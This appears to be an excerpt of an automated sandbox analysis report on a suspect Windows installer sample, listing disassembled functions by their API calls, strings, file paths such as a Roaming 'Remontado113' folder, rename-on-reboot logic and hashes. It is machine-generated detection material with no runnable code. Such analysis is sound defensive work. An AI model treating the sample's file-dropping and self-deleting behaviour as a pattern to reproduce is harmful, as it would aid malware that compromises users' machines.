SendMessageW.USER32(?,00001109,00000002), ref: 00404C05
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404C11
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C23
DeleteObject.GDI32(00000000), ref: 00404C26
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C51
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C5D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CF3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404D1E
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D32
GetWindowLongW.USER32(?,000000F0), ref: 00404D61
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D6F
ShowWindow.USER32(?,00000005), ref: 00404D80
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E7D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EE2
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404EF7
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404F1B
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F3B
ImageList_Destroy.COMCTL32(?), ref: 00404F50
GlobalFree.KERNEL32(?), ref: 00404F60
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FD9
SendMessageW.USER32(?,00001102,?,?), ref: 00405082
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405091
InvalidateRect.USER32(?,00000000,00000001), ref: 004050B1
ShowWindow.USER32(?,00000000), ref: 004050FF
GetDlgItem.USER32(?,000003FE), ref: 0040510A
ShowWindow.USER32(00000000), ref: 00405111

Strings

M, xrefs: 00404CDA
, xrefs: 004050E9
N, xrefs: 00404DBB

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 37c0d117f69d9981bf9ee6a996e8bb1311bbffd6fee652051518e89c5349b062
Instruction ID: 943130f726a074c81f80d4b2a4465e83a32f395645510c1f9de1d6fa8cfacfb7
Opcode Fuzzy Hash: 37c0d117f69d9981bf9ee6a996e8bb1311bbffd6fee652051518e89c5349b062
Instruction Fuzzy Hash: 0A028FB0900209EFDB209F64DD85AAE7BB5FB84314F14857AF610BA2E1C7789D42DF58

Function 004045B4 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404603
SetWindowTextW.USER32(00000000,?), ref: 0040462D
SHBrowseForFolderW.SHELL32(?), ref: 004046DE
CoTaskMemFree.OLE32(00000000), ref: 004046E9
lstrcmpiW.KERNEL32(: Completed,0042D268,00000000,?,?), ref: 0040471B
lstrcatW.KERNEL32(?,: Completed), ref: 00404727
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404739

Part of subcall function 0040577E: GetDlgItemTextW.USER32(?,?,00000400,00404770), ref: 00405791

Part of subcall function 004062E9: CharNextW.USER32(0040A300,*?|<>/":,00000000,"C:\Users\user\Desktop\ht58337iNC.exe",76233420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 0040634C
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
Part of subcall function 004062E9: CharNextW.USER32(0040A300,"C:\Users\user\Desktop\ht58337iNC.exe",76233420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406360
Part of subcall function 004062E9: CharPrevW.USER32(0040A300,0040A300,76233420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406373

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,00000001,0042B238,?,?,000003FB,?), ref: 004047FC
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404817

Part of subcall function 00404970: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
Part of subcall function 00404970: wsprintfW.USER32 ref: 00404A1A
Part of subcall function 00404970: SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

C:\Users\user\AppData\Roaming\Remontado113, xrefs: 00404704
A, xrefs: 004046D7
: Completed, xrefs: 00404715, 0040471A, 00404725

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: : Completed$A$C:\Users\user\AppData\Roaming\Remontado113
API String ID: 2624150263-843756501
Opcode ID: 97dbdcd0a7a2851c12e583ff475ec9ec315e271f733aa0b940815c47a6976e5e
Instruction ID: 407ae004ccebb682b028ef0dda1631611b85a4c4b0528499d59b6de2b9b5396a
Opcode Fuzzy Hash: 97dbdcd0a7a2851c12e583ff475ec9ec315e271f733aa0b940815c47a6976e5e
Instruction Fuzzy Hash: 9CA171B1900208ABDB11AFA6CD85AAF77B8EF84314F10843BF601B72D1D77C89418B69

Function 00405846 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ht58337iNC.exe"), ref: 0040586F
lstrcatW.KERNEL32(0042F270,\*.*,0042F270,?,?,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ht58337iNC.exe"), ref: 004058B7
lstrcatW.KERNEL32(?,0040A014,?,0042F270,?,?,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ht58337iNC.exe"), ref: 004058DA
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ht58337iNC.exe"), ref: 004058E0
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ht58337iNC.exe"), ref: 004058F0
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,0040A300,0000002E), ref: 00405990
FindClose.KERNEL32(00000000), ref: 0040599F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405853
"C:\Users\user\Desktop\ht58337iNC.exe", xrefs: 0040584F
\*.*, xrefs: 004058B1

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\ht58337iNC.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-2740841037
Opcode ID: 93e21722a180473d247efaee9d9481d6b8afddc4eaefe0f7bae919d4fb0dd793
Instruction ID: 3422579b2d55acfa562187ab3f611d485c5dde76635b84dd87a68d04928cc13f
Opcode Fuzzy Hash: 93e21722a180473d247efaee9d9481d6b8afddc4eaefe0f7bae919d4fb0dd793
Instruction Fuzzy Hash: 4541F270900A04EADF21AB618C89BBF7678EF41724F14823BF801B51D1D77C49859E6E

Function 00402095 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085A8,?,00000001,00408598,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402114

Strings

C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket, xrefs: 00402154

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Roaming\Remontado113\Registerudtrkket
API String ID: 542301482-2329395075
Opcode ID: c9022358312334301b7f12b82a851e8225c8b7b61dd5b1f0802db8af2cd3e825
Instruction ID: 1a24425b30559046e2e45c95ea19553466384e890d2313978d3609d0df4c75fa
Opcode Fuzzy Hash: c9022358312334301b7f12b82a851e8225c8b7b61dd5b1f0802db8af2cd3e825
Instruction Fuzzy Hash: 3E412C71A00208AFCF00DFA4CD88AAD7BB5FF48314B24457AF515EB2D1DBB99A41CB54

Function 004027FB Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040280A

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 6f386f7cffff390e3bfd420b1b91f24d00af43437859eb11e11d3a2aab866b7e
Instruction ID: 801a3ec73fa0f8c7b921e95059ce856047ace0635644dd2743fa1cdad283ab42
Opcode Fuzzy Hash: 6f386f7cffff390e3bfd420b1b91f24d00af43437859eb11e11d3a2aab866b7e
Instruction Fuzzy Hash: C5F08C71A005149BCB01EFA4DE49AAEB378FF04324F2045BBF105F31E1E7B89A409B29

Function 0040686A Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df035667192aca5c3680bb857e8dd47c0aa2c6f6aae311b2a540ed6b21077dfa
Instruction ID: 1644c94297a6e2d1b4e9f0aeee9f0c77f66fc5de92a1577942f5ef847e7267c5
Opcode Fuzzy Hash: df035667192aca5c3680bb857e8dd47c0aa2c6f6aae311b2a540ed6b21077dfa
Instruction Fuzzy Hash: 8DE17A7190070ADFDB24CF58C890BAAB7F5FB45305F15892EE497A7291D738AAA1CF04

Function 00407041 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction ID: 4e7e9ca0714fd30891db9328173e30945d26479923c7842d5bcb9add60bdfbdd
Opcode Fuzzy Hash: ad3a06017d63110f505e6ee1591874ec5e375aadb040ddd80f083a0c788ff2d1
Instruction Fuzzy Hash: 4BC14931E04219DBDF18CF68C4905EEB7B2BF98314F25826AD8567B384D7346A42CF95

Function 004042B6 Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404354
GetDlgItem.USER32(?,000003E8), ref: 00404368
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404385
GetSysColor.USER32(?), ref: 00404396
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043A4
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043B2
lstrlenW.KERNEL32(?), ref: 004043B7
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043C4
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043D9
GetDlgItem.USER32(?,0000040A), ref: 00404432
SendMessageW.USER32(00000000), ref: 00404439
GetDlgItem.USER32(?,000003E8), ref: 00404464
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044A7
LoadCursorW.USER32(00000000,00007F02), ref: 004044B5
SetCursor.USER32(00000000), ref: 004044B8
ShellExecuteW.SHELL32(0000070B,open,00432EA0,00000000,00000000,00000001), ref: 004044CD
LoadCursorW.USER32(00000000,00007F00), ref: 004044D9
SetCursor.USER32(00000000), ref: 004044DC
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040450B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040451D

Strings

-B@, xrefs: 004044C2
N, xrefs: 00404452
open, xrefs: 004044C5
: Completed, xrefs: 00404493

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: -B@$: Completed$N$open
API String ID: 3615053054-3919889926
Opcode ID: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction ID: dd3f9e4c49c61f52868447dcb3d39b77a72b713ccf0d54d9464424dd5907340f
Opcode Fuzzy Hash: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction Fuzzy Hash: E87190B1900209BFDB109F61DD89EAA7B69FB84355F00803AFB05BA1D0C778AD51CF98

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction ID: 6108585e84898fc0a566315ef3a84ca8793ce744416779fac967068cfe9173e2
Opcode Fuzzy Hash: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction Fuzzy Hash: 0E418A71800209AFCB058F95DE459AFBBB9FF44310F04842EF991AA1A0C738EA54DFA4

Function 00405D84 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00430908,NUL,?,00000000,?,0040A300,00405F17,?,?), ref: 00405D93
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,0040A300,00405F17,?,?), ref: 00405DB7
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 00405DC0

Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

GetShortPathNameW.KERNEL32(00431108,00431108,00000400), ref: 00405DDD
wsprintfA.USER32 ref: 00405DFB
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,00000004,00431108,?,?,?,?,?), ref: 00405E36
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405E45
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7D
SetFilePointer.KERNEL32(0040A578,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A578,00000000,[Rename],00000000,00000000,00000000), ref: 00405ED3
GlobalFree.KERNEL32(00000000), ref: 00405EE4
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405EEB

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Strings

NUL, xrefs: 00405D8D
%ls=%ls, xrefs: 00405DF1
[Rename], xrefs: 00405E65, 00405E77

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: b2f9954a637af8ebec5c0b1a6beb43ebeeb7d59e5d1590defe92d75fa46bc12e
Instruction ID: 58c57230207582c12286da0908ad594a16be4941a6f2872b3690da29fc8d014c
Opcode Fuzzy Hash: b2f9954a637af8ebec5c0b1a6beb43ebeeb7d59e5d1590defe92d75fa46bc12e
Instruction Fuzzy Hash: 01311370600B18BBD2206B219D49F6B3A5CEF45755F14043AB981F62D2EE7CAA01CAAD

Function 004062E9 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(0040A300,*?|<>/":,00000000,"C:\Users\user\Desktop\ht58337iNC.exe",76233420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 0040634C
CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
CharNextW.USER32(0040A300,"C:\Users\user\Desktop\ht58337iNC.exe",76233420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406360
CharPrevW.USER32(0040A300,0040A300,76233420,C:\Users\user\AppData\Local\Temp\,00000000,0040327B,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00406373

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004062EA
*?|<>/":, xrefs: 0040633B
"C:\Users\user\Desktop\ht58337iNC.exe", xrefs: 0040632D

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
